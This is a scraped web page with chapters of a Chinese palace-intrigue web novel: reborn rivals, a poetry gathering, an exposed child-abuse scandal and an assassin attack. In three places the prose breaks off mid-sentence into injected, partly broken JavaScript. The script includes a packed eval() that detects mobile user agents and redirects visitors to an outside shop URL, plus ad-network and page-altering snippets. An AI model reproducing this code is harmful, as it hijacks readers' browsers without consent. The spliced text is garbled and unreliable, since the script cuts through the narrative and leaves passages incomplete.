纪舒明用力扒拉着已然神志不清的兄弟,咬着后槽牙,用了死劲。 纪危舟:“……” 他不嫌丢人啊! 他看着纪舒明的眼神,把‘我我我、不嫌丢人’写了几百遍,偏偏对方秉持着一荣俱荣的原则,不肯让他走错半步。 以至于,他们原地僵持了半天,直到宫里来人,纪危舟才不得不暂且服输。 来的是排行第六的嫡皇子赵晟真,他身后还跟着七皇子赵明来、三公主赵月凌和九公主赵月萝。 皇子公主的出现,引得小桥两侧多了几分嘈闹,不少儿郎女娘引颈相望,低语交谈着。 “万松是在等我吗?”六皇子赵晟真笑容和煦地朝着纪舒明走来。 纪舒明挠了挠后颈,憨笑道:“凑巧,我们也才刚到。” 赵晟真很习惯纪舒明的脾性,也跟着傻笑,少年郎君的笑容格外天真。和纪舒明寒暄片刻,看向站在一旁沉默未言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728039|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的纪危舟,和善地问。 “你是拜在张老先生门下的纪家三郎?” 纪危舟作为庶子,又早早跟随了张老,并没有进入国子监与皇子相交。 这是这一世,他与这位同母异父的兄弟初次相见。如果可以避免,他宁愿永世与他们陌路相隔,不复相交。 纪危舟双手作揖,恭敬却疏离地答:“是。” 赵晟真似是没想到他的回答会这么言简意赅,愣神了须臾,一时有些为难,不知要不要再客套几句。 “热得很,不如移步竹落亭?”纪舒明用手扇了扇风,问。 赵晟真连忙点头,转身看着两名公主,“姑母说有贵女们在玩叶子戏,你们可要去看看?” 三公主赵月凌偷瞄了一眼纪危舟,面颊红粉地点了点头,拉着九公主羞答答地快步离去。 叶子戏风靡京都,才女们自然也要玩的,但玩法却与民大不相同,是以现场书画的叶子牌来邀歌对诗,不筹注码,只求风雅乐事。 在崔时清的眼中,这就是无趣。 没了输赢的叶子戏,还能有什么乐子? 与她臭味相投的友人已寻了处好地,斜倚在凭几上,乘凉吃喝。 崔时清目不斜移地错开以陈柔欢为首的才女们,和张知茵来到蔡梦期的身边,用了几口冰凉的香饮子,这才搂着小女娘,舒舒服服歪坐着。 在外独坐半天的许悯儿,随即入了凉阁内,与诸位女娘见礼。 “这不是教坊司的魁首娘子吗?怎么来了?” “这是我请来,专为寿安长公主弹奏助兴的。”崔时清示意许悯儿坐下。 “时娘何时如此乖觉了?” 崔时清不耐烦地嗤了她一声,看着许悯儿,“可都准备好了?” 许悯儿端起凉果奉上,浅笑道:“县主放心,奴家必不会让您失望的。” 崔时清意味深长地看着她,“我自然是放心你的。” 对岸,纪危舟抿着唇静静望着崔时清和许悯儿私语趣笑。 他知道崔时清的想法,利用先知,夺走他的一切,自然不会错过掌握教坊司情报的机会。 好几次他都想告诉她,这些人、和这些机会的弊处。 原本,他是不能说;再后来,他是不愿说。 他要把那个秘密,永远地掩埋。以第九世中全新的他,没有沾惹过那些可怖回忆的他,站在崔时清的面前。 这样,女娘的眼中有忌惮、有烦厌、有恶念,却永远不会有恐惧与排斥。 他们可以如此,一直在一起,直到…… 纪危舟想起许悯儿,不、是林燕燕的散魂香。 在林家大仇得报后,他与她自由,送她离京。可不多久,林燕燕却自己回来了,与赵晟真出双入对,一时间成为风头无两的‘花魁皇妃’,在最后关头,甚至为了情郎,给他下了三日魂散的剧毒。 纪危舟看着殷勤侍奉崔时清的女子,眼底透着凉意,沉默了许久。 也罢,先备下散魂香的解药吧。 纪危舟又想起崔时清脆弱的体格,叹了口气。 还是命人把毒药换成麻沸散吧。 25. 添趣 纪危舟隔岸遥望的同时,也有不少郎君行至溪边,利用好眼力相看心仪的女娘。 “这场诗会是专程为你办的?”纪舒明压着声音问,但他向来大大咧咧惯的,哪怕存了慎重,声量依旧不低。 赵晟真惊慌地摆手,“万松莫要胡说。” 纪舒明不信,伸手杵了杵他,好心提醒,“你要选妃的事情都传遍了。” 皇后孟云希的贤德开明是众所周知的。 虽说唯一的儿子是身份尊贵的嫡皇子,但她却不求赵晟真为了入主东宫,放弃少年郎的真性情。如民间慈母一般,爱敬亲子,在婚姻大事上,甚至允许赵晟真拒绝盲婚哑嫁的传统,惹得许多适婚的亲贵子弟好生艳羡。 纪舒明也是想要成为孟皇后之子的芸芸众生之一。 如果可以,他定要与人交换家中那位专制蛮横的母亲大人! “唔,母后只让我来瞧一眼。” 赵晟真轻叹一声,唯恐这位同窗又说出什么骇人之言,只好尴尬地认下。 同为适婚郎君的纪舒明,看着嫡皇子也因婚事而苦恼,心中畅快了不少。更是忘了数日前的窘迫,窃笑着用长辈的口吻开解。 “郎君们总要走这一遭的。” “……” 赵晟真哭笑不得,要不是在这种人多眼杂的场合,都想啐一声,和纪舒明缠斗上几局。 七皇子赵明来眯着眼睛瞅了许久,问:“皇兄可有中意的?” 纪舒明掩不住兴奋地盯着赵晟真。 “……这,唔。”赵晟真支支吾吾半天,连耳根都红了起来,却说不出个所以然来。 赵明来已成婚半年,自然是有资格戏谑不通情爱的兄长,露出一个意味深长的笑容,指着凉阁的方向。 “崔氏之女如何?” 赵晟真颇为意外地瞪大了眼睛,一时不知如何作答。 纪舒明忙不迭开口道:“她不行。” 赵明来:“为何?” 为何? 她不止徒有其表,还心肠恶毒啊!若是一不小心嫁给赵晟真,再成为太子妃、皇后、太后,这天下岂不要完! 纪舒明暗自腹诽了一顿,偷瞄着站在不远处、一表人才的弟弟。 原本他还寄望于清正端方的纪危舟可以利用自身的长处,教化崔氏恶女。没曾想这才几日,好好的儿郎就被美色迷了心窍,不仅没有让崔时清改好,反倒跟着不务正业了起来。 纪舒明捂着心口,痛心了片刻。 但事已至此,他不可让同窗错娶,也不能让亲弟丢了心仪女娘,只好有气无力道:“十六娘顽皮,不好与皇亲相配。” “世家之首的崔氏嫡女,不论家世,就这倾城之色,任性些又何妨?”赵明来不以为然。 纪舒明唯恐纪危舟打破了醋坛子,以求助的目光直瞅着赵晟真。 赵晟真见过崔时清,认为赵明来所说有几分道理。可他也知道,母后是绝不会让他迎娶崔氏之女的。 ——他不能沾惹世家,不能让父皇生出疑心。 “皇弟忘了世家皇亲少有通婚吗?好了,不可在此胡言,坏了女娘们的清誉。” 赵明来笑着认错,心中却颇为鄙夷。 一对狐狸窝里爬出来的母子,真是虚伪啊! 听了全程的纪危舟依旧没什么表情地望着凉阁中的身影。 他家女娘说的不错。 她生来貌美,难不成还要因为钦慕之人,而捂上容颜,再不出门吗? 他应该在意的是崔时清看向的方向,而不是这些仰望她的目光。 纪危舟眼底微暖,把这些可怜的妄念视作笑话。 “崔家十六娘的脾气可硬得很,还不如她身边那名小女娘来得讨喜呢。” 赵晟真顺着轻挑的声音转过身去,看着长公主的独子、他的表兄许展,无奈地笑着。 “小女娘尚且稚幼,不能拿来取笑。” 许展身后跟着御史大夫之子李昶,“这是张毅的幼妹,可招惹不得呢。” 许展表情微变,又放不下脸面,便冷冷哼了声,讥嘲道:“贼配军出身的武将而已,还能反了天?” “上一次这么说的人,被张毅提刀追了三条街,叫什么来着……”李昶把玩着新得来的名师画扇,龇牙咧嘴地回忆着。 许展瞪了眼李昶。 他向来看不上此人,但自从几年前母亲替他请来一个七品朝奉郎的闲散官位,连着被御史台的人参奏了几日,他便决心与李昶相交。 御史看不上他。 他会怕吗?和他吃喝玩乐的可是御史大夫之子啊! 用上这个损招,御史台都安静了下来,他在高兴之余,也给了李昶几分薄面。甚至前年,李昶领来崔时清参加宴会,他也没有同嚣张跋扈的崔氏女计较。谁知,却惯的此人越发无礼。 许展阴沉着脸,声音尖锐地质问:“你家姑奶奶身边的黄毛丫头,也值得你这般维护?” 谁家的?! 纪危舟看了过去,瞅见李昶时,眸色微凝。 李昶,为崔时清送掉性命的人,也是崔时清为数不多、在意的人。 崔时清作为李昶诚心认下的‘姑奶奶’,使得堂堂御史大夫从叔伯辈连降两级,气到食不下咽,饿得面黄肌瘦。最后在一顿家法乱揍下,才总算是开了胃口,可这辈分却在一声声的‘姑奶奶’中,一去不复回。 纪危舟皱着眉,勉强压住了心中的别扭,认下这‘姑老爷’的身份。 而李昶还浑然不知自己多了位要孝敬的长辈,在许展刻意讥嘲之下,不觉羞耻,反以为荣地笑了起来。 “姑奶奶看上的,自是比旁人要贵重几分呀。” 李昶和崔时清也是京都城中有名的狐朋狗党,横行霸道多年,全靠的是一身反骨。 谁人都说,恶是错、他是坏,他非要认定自己才是真,其他人是伪。 李昶混不吝地想,姑奶奶是他的老祖宗,姑奶奶的人就是他的小祖宗!谁敢欺负一个试试看!套上麻袋揍得他爹娘不认!许展这狗东西也别想好过! 许展酸得面色发青,又舍不得丢了对抗御史台的好盾牌,冷哼一声便不再搭理李昶。 “站在这也没什么意思,都随我过桥吧。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735382|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >赵晟真不太认可地说:“这不合规矩。” “难得有此机会,可不能错过了!”许展憋闷得很,才不管这些,拉起赵晟真的衣袖,就往小桥走去。 许展和赵晟真一走,身后不少人也陆续随后。 纪危舟很自然地抬步跟随,眼前却闪出一个身影,堵住了他的去路。 “既安,你来诗会怎不与我言说呢?” “抱歉,我以为你对这种场合没有兴趣。” 王重罗,纪危舟曾视为挚友、却生生世世都只得到他的背叛。 为了让他可以如期离开自己的人生,纪危舟惯性使然地选择与其虚与委蛇,眼里没有歉意地道了歉。 王重罗顿了下,才道:“我是陪阿玉来的。” 纪危舟兴致缺缺地点点头,扫了眼往凉阁走去的李昶,也很想去。然而王重罗却没有一点眼力见,握住他的手臂,就往赵晟真身边凑。 纪舒明看见他们,也招了招手,示意不要跟丢了。 纪危舟心如死灰:“……” 一袭青衣闪过眼前,眼睁睁瞅着崔绯也往某个方向而去,纪危舟的心情都糟透了,看着身边的王重罗,眼神凉凉的,堪比冷冬寒夜。 王重罗察觉不对,小声问:“既安在想什么?” 纪危舟牵扯起唇角,笑而不语。 他有一种预感,如果王重罗再如此没有分寸,他会失了耐心,让他的女娘子用上强硬的手段,送王重罗提前投胎! 牡丹簇拥下,座次依旧按照男女划分,正中心牡丹花王的位置,摆放着焦尾古琴,只待善琴者抚奏。 许展朝四周望了一眼,问道:“我们的大才女呢?” 不多时,陈柔欢等人从花厅出来,惊讶地望着步入牡丹之地的郎君们。但她也没有怯退,领着一众女娘施施然来到了赵晟真的面前,屈膝行礼。 “这是要听曲吗?”三公主赵月凌欢喜地看着周围的陈设。 许展笑答:“我听说陈家女娘善琴艺,表妹不如请她弹奏一曲,来庆今日欢聚之喜。” 赵月凌对陈柔欢的才气也有耳闻,方才在花厅目睹她作诗邀歌,更是钦佩得紧,便牵起她的手,央求道。 “阿柔,让我开开眼界吧!” 陈柔欢难为情地低下头,眸子里却是不耐。 这里既无长辈、又非朝中庆典,她怎可取悦同辈? 赵明来赏了会儿美人含羞的好景,也跟着起哄道:“听闻京都人人称赞的大才女可是爱琴之人,眼下百年古琴在此,就不心动吗?” 陈柔欢抬起头,眼巴巴望着那把古今名家梦寐以求的焦尾古琴,又扫视了一眼周围的人群,眼神定定地落在纪危舟的面上,却见他的心思都在凉阁之内,心下冷然。 “不必为难陈家娘子。”赵晟真开了口。 陈柔欢笑盈盈地望向他,随即很有分寸地错开视线,微微屈膝道:“既然与诸位有缘相聚,我愿献曲一首,以添欢庆之趣。” 崔时清抿唇笑了笑,与身边的许悯儿眼神示意,后者连忙起身,跟着李昶的随从离开。 添趣吗?怎能缺了她的?! 26. 艳压 与牡丹花王相伴,悠扬的琴音送来了开春雪融的沁脾疏凉。万物复苏、土地生长,向往美好的充沛情感在心中漾动。 花丛中的美人,衣袂轻扬,连清风都眷顾。 一曲终了,让人惬意地舒展手脚,从琴声中攫取的生命蔓延四肢骸骨,令身体充盈着难言的鲜活之力。 赵晟真抚掌赞许,众人亦走出陈柔欢勾勒的美景,跟随鼓掌道好。 陈柔欢爱不释手地拂过古琴,在鼓掌声中迤迤然起身,望着众人,正要开口时,琵琶声顿起。 心弦随之颤动。 所有人皆忘了花王为伴的美人,循声望去,只见红衣女子迎风站于秋千之上,转轴拨弦间,一张由数十万军士造就的巨网,逐渐成形、收紧。 秋千荡起,琵琶声催,一呼百应,万马狂驰。 若说陈柔欢可令清风迷失在她的指尖,那么怀抱琵琶的许悯儿却是能够号令风云之人。 前者欢欣明快,美则美,但在少年郎心中,浴血沙场的壮丽与厮杀怒吼的畅快淋漓,更容易触动他们的心灵。 看着凉阁外神魂颠倒的众人,以及被人遗忘的陈柔欢。欣赏了一会儿那张难以置信又不甘心的表情,崔时清笑了起来。 “姑奶奶,你这招够狠啊!”李昶无比崇拜地望着她。 “这算什么?”崔时清不甚在意地挥了挥手。 “自然自然,姑奶奶的手段还没用上两分呢!”李昶眼睛亮亮的。 “油滑。”崔时清骂了声,却还是在李昶的吹捧下,笑弯了眉眼。 “能不能稍微克制一下?”蔡梦期没好气地打断俩人。 “要克制什么?”李昶一脸迷茫。 崔时清不想听,但耐不过蔡梦期嘴快,“你俩在这儿贼眉鼠眼地奸笑,只差没把‘做了恶’刻在脑门上了,就不能避着点孩子吗?” 哪来的孩子?张知茵迷茫地抬起头,看看蔡梦期,又瞅瞅崔时清,最后崔琳琅看不过眼,塞了一个团果子,哄她吃东西。 怎么避?他这张脸端出来就不是好人呀!自觉为难的李昶悻悻然地摸着鼻尖,只得闭嘴。 崔时清斜倚在凭几上,看着面颊鼓鼓、正认真咀嚼团果子的张知茵,伸出食指勾了勾。 张知茵眨着眼睛,生怕会错意,便没敢动弹。 崔时清:“……过来。” 张知茵忙不迭拍了拍手上的碎屑,蛄蛹着身子蹭过去。 崔时清摸了摸张知茵的脑袋,问:“要是有人抢了你的东西,你会怎么做?” 张知茵睁大了眼睛,过了好久,才摇了摇头。 不知道,要抢什么?她要怎么做? “以彼之道还施彼身。” 崔时清没等张知茵回应,指着陈柔欢,又道,“她以才女之名睥睨众人,若不惹我也罢,但她却抢了我的阁子,让我受了热,此事便不能善了。” 李昶顿时发怒,“陈柔欢敢抢姑奶奶的阁子?!” 抢的是她的。 崔琳琅抿了抿唇,心中明白,要是订阁子的时候留了崔家嫡女的名号,就不会有这些纠纷。 蔡梦期盯着崔时清,不禁有些咂舌。 出口恶气的感觉是不错,但她又觉得仅仅因为一个阁子,让陈柔欢失了这么大的面子,似乎小题大做了。 崔时清抬着张知茵的下巴,“她喜欢艳压别人,享受被追捧的滋味。我就夺走她的光芒,击垮她的自负,让所有人都忽略她、忘记她。” 张知茵目光闪躲,不敢直视眼前之人。 崔时清笑着说:“知知,重新回答我的问题。换作是你,你会如何?” “……让、阁子、让。” 张知茵咽了咽干涩的喉咙,唇瓣颤抖着,艰难地挤出几个字。 “阁子给她。”崔时清点点头,又问,“她还想要你的兄嫂,你让或不让?” 张知茵瞪圆眼睛,眼眶刹那间便湿红,嗫嚅着,怎么也答不出口。 “不要纵容别人的索取。” 指腹擦过张知茵眼尾的泪,崔时清的表情柔和了些,连声音都变得轻缓又无害,“一旦你习惯了忍让,从阁子开始,钱财性命、至亲挚友,最终什么也留不下。” 张知茵重重点头,把这些话深深记下。 不想失去兄嫂,不能忍让。这个信念亦在心底牢牢扎根,再不曾动摇。 “乖。”崔时清笑了一下,又恢复方才的懒散,把目光投向远处。 每个人都有弱点。 陈柔欢的弱点是虚荣,她容忍不了自己的平庸。 许悯儿的弱点是仇恨,她迷失在复仇的深渊,忘记了来路。 她自己呢? 她的弱点是傲慢。她无法接受失败,哪怕是面对天道,她也不想输、不要输,以至于整整九世,她都陷在失败的痛苦中,不得安生。 崔时清注视着人群中、格外醒目的那张容颜。 她穷尽所有,甚至疯狂地大开杀戒,铲除纪危舟身边的一切,连一株案上清供的野草都没有放过,可却没有真正触动过他的铁石心肠。 纪危舟没有弱点。 他什么也不在意,甚至是他的性命。 有几次,崔时清都忍不住怀疑,天道之子是不是活腻了?否则寻常人等,又怎会流露出那样,晦暗又空洞的目光。 崔时清盯着他的眼睛,再一次久违的,找到了熟悉的眼神。 没有被夺舍啊。那么,他成日在自己面前装模作样,学来少年郎的活泼做什么? 正在浮想联翩,纪危舟突然抬眸,看向了她。 “……”崔时清莫名有些心虚,连耳根都烫了起来。 投入眼底的面容布满了错愕与懊恼,在对方恼羞闪躲之前,纪危舟弯唇露出了一个笑容。 有什么好笑的! 崔时清气呼呼避开他。 “姑奶奶,你怎么了?”李昶凑上前,关切地问。 “别管!”崔时清没好气地夺过他手中的画扇,唰唰唰扇风降火。 这边,王重罗注意到纪危舟的异样,问道:“既安,你怎么了?” 读懂唇语的纪危舟暗笑着,也回:“别管。” 王重罗表情难看了一瞬,随即神色复杂地说:“既安,你向来活得通透,应当知道婚姻之事不可草率,更不该为了孝道而葬送前程。” 纪危舟放下茶盏,没有应声,也没有辩解,只用一双没有情绪的黑眸,平淡地望着他。 在这样漠然的注视下,王重罗很快便沉不住气,以失望的口吻打破沉默,“你我相交多年,一直都是彼此最重要的至交。难道,在你行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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面对这个自私又虚伪的朋友,心中戾气横生,已动了杀念。 看着纪危舟沉默不语,王重罗以为自己说动了他,语气也和软了不少,颇为至情至性地慷慨而言。 “既安,以你的才学,不必走那糟污的捷径。沉下心来,与我携手,庙堂之高必有你我的一席之地。” 纪危舟安静地听完这些慷慨陈词,黑眸空空无也。没有愤怒、没有失望,更没有王重罗所期望的羞愧与动容。 什么都没有,连曾经那些求而不得的痛苦,都被岁月磨平,没了痕迹。 “你我不是同路人。” 纪危舟终于把这句积压了九世,都不曾言说的话,道出口。 而后,便是极度的倦怠,没了虚与委蛇的气力,他指尖轻敲着矮几,思考崔时清何时会命人请他。 好慢啊。纪危舟想。 王重罗面色铁青,死死盯着凉阁中的女子,有了决断。 明月当高悬,不可入红尘。 你错就错在,不该让他沦为一介凡夫、耽于情爱,与我生分! 27. 掀桌 “快了。” 崔时清喃喃自语着,注视人群中,接受赞美的许悯儿。 “姑奶奶?”李昶关切地唤了一声。 崔时清看着李昶,久久之后,才露出了一个兴奋的笑容。 李昶:“……” 姑奶奶还要做什么缺德事?怎么不让他参与?! 崔时清抑制不住澎湃的心潮,看向身边的人,视线最终落在张知茵微红的眼睛上。压抑着快要汹涌而出的激动。 “可怜的小女娘,眼圈怎么红红的?再哭下去,眼睛都要肿成核桃了。” 张知茵眨了眨眼睛。她没有要哭,只是想到兄嫂被人夺走,有点难过。 崔时清笑盈盈着。 “琳琳,我家表姐在长公主身边,你把知知送过去吧,就说我把人欺负哭了,过几日会去府上赔罪。” 崔琳琅愣了一下。 长公主身边陪着的都是各府的主母,比起此处,更适合她露脸。 想起兄长所言,崔琳琅连忙点头,感念起手帕交的用心,“时娘放心,我会把知知交到阿姐手中的。” 张知茵却不想离开,用力摇了摇头,艰难吐字,“不、没有、欺负。” 崔时清听懂小女娘的解释,忍不住笑了笑,好声好气、却又不容拒绝地说:“去吧,跟在你嫂嫂身边,不要乱跑。” 张知茵张了张嘴,不敢坚持。只得垂头丧气地耷拉着脑袋,在崔琳琅的陪同下,一步一回头,慢吞吞离开。 “这下好了,知知真被你气哭了。”蔡梦期打抱不平。 “那我欺负你?”崔时清没心没肺地笑了下。 “坏东西!”蔡梦期骂了句。 “姑奶奶还是欺负我吧!我好久都没哭过了!” 崔时清对张知茵展现出难得的耐心,让李昶看得很眼馋,嫉妒极了!这会儿人总算走了,他可要好好表现,在姑奶奶面前拔得头筹! 蔡梦期嫌弃地骂:“狗腿子!” 李昶呲牙笑道:“那你就是狗尾巴,可有可无。” 蔡梦期气成球,鼓囊着脸蛋,眼神如刀、一下下剜他的肉。 崔时清也不管他们,靠在凭几上,默数着时间。 嘈杂声忽起,蔡梦期和李昶立即停战,伸着脖子往外瞧。 “这是闹什么?” 蔡梦期瞪着眼睛,对于牡丹丛中的乱象,深感不解。 “一场好戏,且看着吧。”崔时清弯着唇,浑身舒畅。 皇子公主面前,跪着一名素衣老妇,高举血书,扬声状告长公主之子许展草菅人命、强抢幼童,在京郊别苑中亵玩残害小儿郎,共计二百五十七人。 一时间,哗然声不止,所有人都被这项可怕的指控惊吓住了。 “刁民害我!还不给我拖下去!”许展恼羞成怒,眼里浸满了毒,恨不得把此人剥皮抽筋、大卸八块。 “表兄不可莽撞。” 在老妇凄声惊呼下,还手捏血书的赵晟真心有不忍,出声制止。 许展没受过这样的委屈,言辞恳切地辩解道:“这贼妇的片面之词,如何能信?!若不严惩她,我都没有颜面再见母亲了!” 提及姑母,赵晟真一脸为难,但诗会中全是京都权贵子弟,若他一味偏私,怕是会落下不贤之名。 深思熟虑过后,赵晟真决心不能沾惹此事,看着手中的血书,命人去请寿安长公主。 许悯儿冷眼旁观着,末了,扭头望向凉阁。 是她,偷走了血书。 是。 桃花眼迎了上去,以极度的坦然面对她的质问。 崔时清本认为她等作恶多端之辈,委实不该再分三六九等。 但前世多活了一年的她,在对付纪危舟时也还是注意到许展残虐小儿郎的案件,恶心的好几顿都没吃好,更是改变了初衷。 把许展除名出京都恶霸的行列中!至此,许展就是狗辈,不是恶霸,更不用当人。 而在这个案子中,她听说了一个名字。 ——教坊司的魁首娘子许悯儿。 后来,案子还没审理完毕,她还不知道教坊司怎么牵扯入内,就死在孤山上。 重生后再想起,她一直很介怀,也不知许展是不是也被判了五马分尸。如果没有,她就太冤了! 见到许悯儿后,崔时清费了许多功夫,才在诗会前查明她的身世。也知道隐忍数年的许悯儿想要的,她给不了;而她想要的,许悯儿从没有想过要奉上。 崔时清不想看到其他人得到教坊司的情报网,尤其是纪危舟。既然没了希望,她就只好砸烂这口锅子,谁都不必痴心妄想。 因而,应该在一年后才被揭露的恶行,崔时清迫不及待地提前掀桌。 二百五十七个,以血水书成的名字,是无法被抹去的。许展逃不掉,他会得到应有的惩罚。 五马分尸,至少十次! “这样的好戏,崔家阿兄怎么不就近瞧上一瞧?若有需要,还可搭把手。”崔时清看着一直站在凉阁外,隐忍自持的崔绯,又道,“哦,对了,劳烦请我三表兄过来一趟。” 崔绯若有所思地盯了她一眼,双手作揖,往人群中走去。 崔时清问李昶,“许展做的这些腌臜事,你没沾过吧?” 李昶好奇地问:“要是,我沾了?” 崔时清眼冒寒光,恶狠狠道:“那就剁了你。” “……没有没有,我的姑奶奶!我哪有这手段呀!”李昶擦了把冷汗,连忙告饶。 “也是。” “这就信了?”李昶直瞅着她。 生来就不是好东西的李昶,可太缺这种无条件的信任了!他正要感动一番,崔时清神色冷淡地睨着他。 “你几斤几两我还能不知吗?” 要是有几分心眼,又怎会为了帮她,弄丢亲爹的官位,还落得砍头的下场。 崔时清对于第七世的遭遇,始终耿耿于怀。 不仅是她死得凄惨,连同身边的人也不得善终。每每忆起这些往事,想起李昶死前如稚子般清澈的目光,手脚上的锁链似乎永远没有办法解开,把她困死于那场极刑之中。 凝神望着委屈巴巴的李昶,崔时清忍不住伸手薅了一把松垮的发髻。毛茸茸的脑袋还透着孩子气,掌心下的头发软软的,散发的鲜活让她有些恍惚。 李昶受宠若惊地抻着脖子,不自在却又不想躲。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 作为御史大夫的独子,他既不是读书的料子,也没有好人家的正直善念。 他自出生起,就是个坏坯子。长大了,更是个只会花钱作乐、斗鸡走犬的浪荡儿。爹不亲、娘不爱,连个知心的朋友都交不到。 只有一人不嫌弃他,愿意做他的朋友,让他跟着、陪他玩闹。 姑奶奶什么都好,就是爱作弄人。 李昶笑弯了双眸,依旧乖乖坐着,任由那只越来越不收敛的手掌随意揉搓。 没一会儿,本就乱糟糟的发髻,更加没有正形了。 “……” 崔时清看了眼自己的手,又瞥了下惨不忍睹的脑袋,没有歉意地移开了目光。 李昶憨憨地扶着要散的发髻,嘻嘻笑着。 蔡梦期看不上李昶的蠢样,身子一扭,眼不见为净地舒了口气。盯着崔时清得意的嘴脸,小声问道。 “这是你找来的?” 崔时清笑而不语地看着她。 蔡梦期有些头疼,“这是公主府,你就不怕……” 崔时清很自信地说:“无妨。” 有了百人血书,这个案子就过了明路,在场的亲贵也不全是吃素的,长公主想压也已失了先机。 而从未缺席过的刺客,在这种混乱的场合没有道理不出现。杀手趁乱袭击皇子,她的人也可甩掉小尾巴,趁机逃走。 谁还能把这一切都算在她的头上?哪怕胡乱猜中,证据呢? 呵呵! 崔时清很得意。 “你还想做什么?”蔡梦期的心乱得不行,总觉得要出大事。 崔时清扬眉笑着,叮嘱道:“待会儿无论发生什么,都不要离开凉阁,跟在我身后,还有……” “时娘。”纪危舟的声音在身后响起。 哦,她的挡箭牌来了! 崔时清眼睛一亮,对他招了招手,不存好意地问道。 “诗会好玩吗?” “无趣。”纪危舟拉过软垫,正坐在崔时清的面前,专注地望着她的眼睛,“好在有你惦记着,倒也可以容忍。” 李昶攒眉怒瞪他,“你离我家姑奶奶远点!” “他不知道吗?”我是姑老爷。 纪危舟稳如泰山地盘腿坐着,牵起崔时清的手,问道。 “你的手!你的手在做什么?!”李昶倏然起身,眼睛都要瞪了出来。 蔡梦期糟心地瞅着他们,也不知道自己更受不了哪个人。 “都闭嘴。”崔时清正注意着凉阁外的动静,没工夫听他们吵嘴,随手挠了纪危舟一爪子,警告道,“不许招惹李昶。” 黑眸逐一扫过李昶和蔡梦期,重重叹了口气。 在场就他地位最低,这委屈,还是得受啊。 纪危舟认了命,也不顾手上的新伤,小心试探着,勾住了崔时清的指尖。见她没有拒绝,眼底藏着笑,眼神似有若无地瞥了一眼虎视眈眈的狼崽子。 看什么?只有他可以牵。 他要对姑奶奶做什么?做什么? 李昶在旁抓心挠肝着,但又不敢开口,惹得崔时清不快,正难受着,尖叫声突然响起。 “有刺客!” 28. 又起 “跟着我藏好了!” 崔时清神色凛然,左手抓着狐朋、右手拽着狗友,蜷缩成团,直往纪危舟的怀里躲。 “……” 纪危舟低头,看着挨挨挤挤往他身前蹭的三颗脑袋。 行事果然周全了不少,这一人受伤的局面也很清晰。纪危舟一面赞许着崔时清的成长,一面又忍不住被气笑了。 “杀手离此处尚远,不如抄小路离开?”他敲了敲小女娘的脑壳,故意问道。 狐朋狗友点头如捣蒜。走吧走吧,公主府太吓人了! 在清脆的敲击声中,崔时清昂起头来,望着纪危舟,但也没有与挡箭盾计较他的无礼,胸有成竹地说道。 “比起在外乱走,藏在凉阁里还算安全。” 杀手要袭击的是六皇子赵晟真,并没有来过凉阁。但是,这个诗会被她搅得乱糟糟的,最稳妥的法子,还是藏在凉阁,把天道之子拿来抵挡刀剑,方可万无一失! 呵呵! 这些杀手还能砍了纪危舟?若能得手,她心甘情愿认他们当祖宗! 狐朋狗友惊恐得浑身发抖,脑袋往纪危舟胸前钻,身子朝崔时清身侧撅。京都恶霸的运道都差得很,见了光,难免要招来横祸,绝不可大意啊! 纪危舟叹了口气。 他很乐意护着崔时清,但她拖家带口,把自己当作肉盾,就有些为难人了。 扶着崔时清的后脑,动了下,企图把多余的两颗脑袋甩开。可是,三颗圆圆的脑袋却在他的眼皮子底下黏黏糊糊,拆也拆不散,看着他心火乱窜,烦得不行。 “时娘,离我近些。” 李昶也顾不得害怕,抻着脖子质问:“你要打什么坏主意!” 纪危舟微微一笑,“你没发现自己的头太大了,把你姑奶奶挤得无处藏身?” “……” 没人说过他头大啊!这狗东西定是故意找茬!李昶悻悻然腹诽一通,还是往旁边挪了挪,把脸蛋埋进纪危舟的臂弯间,躲好。 崔时清探头露出一双眼,看到崔绯提刀阻拦杀手,面上正要浮起微笑。电光石火间,一道红色的娇躯闪身挡在了赵晟真的面前,红衣看不出血迹,但长刀的锋刃已染了红。 嘶! 崔时清倒抽一口凉气。 “怎么了?”蔡梦期慌张。 “姑奶奶?!”李昶心惊。 目睹许悯儿以身护着赵晟真,一跃成为嫡皇子的救命恩人,崔时清的心情很复杂。总有一种被人反咬一口的错觉,看着近在咫尺、同样惊愕的崔绯,失望至极。 纪危舟看不到身后,便垂眸瞅她,以眼神询问。 崔时清对上一双沉静如常的黑眸,默了须臾,有些宽慰。 也罢,至少她坏了纪危舟的机缘。从此,没了皇后的提携,天道之子的青云路怕是要坎坷了! 拍了拍纪危舟的肩膀,崔时清很同情他。 安慰过懵懂不知自己失去了什么的天道之子,笑了笑,推开了他,说道:“杀手撤退了。” 公主府的护卫来时,杀手见情况不对,便很识时务地通过来时的竹林,消逝无踪。 遍地牡丹,被碾碎成泥,场子混乱,但真正受到伤害的却只有一袭红衣、面色惨白的许悯儿。 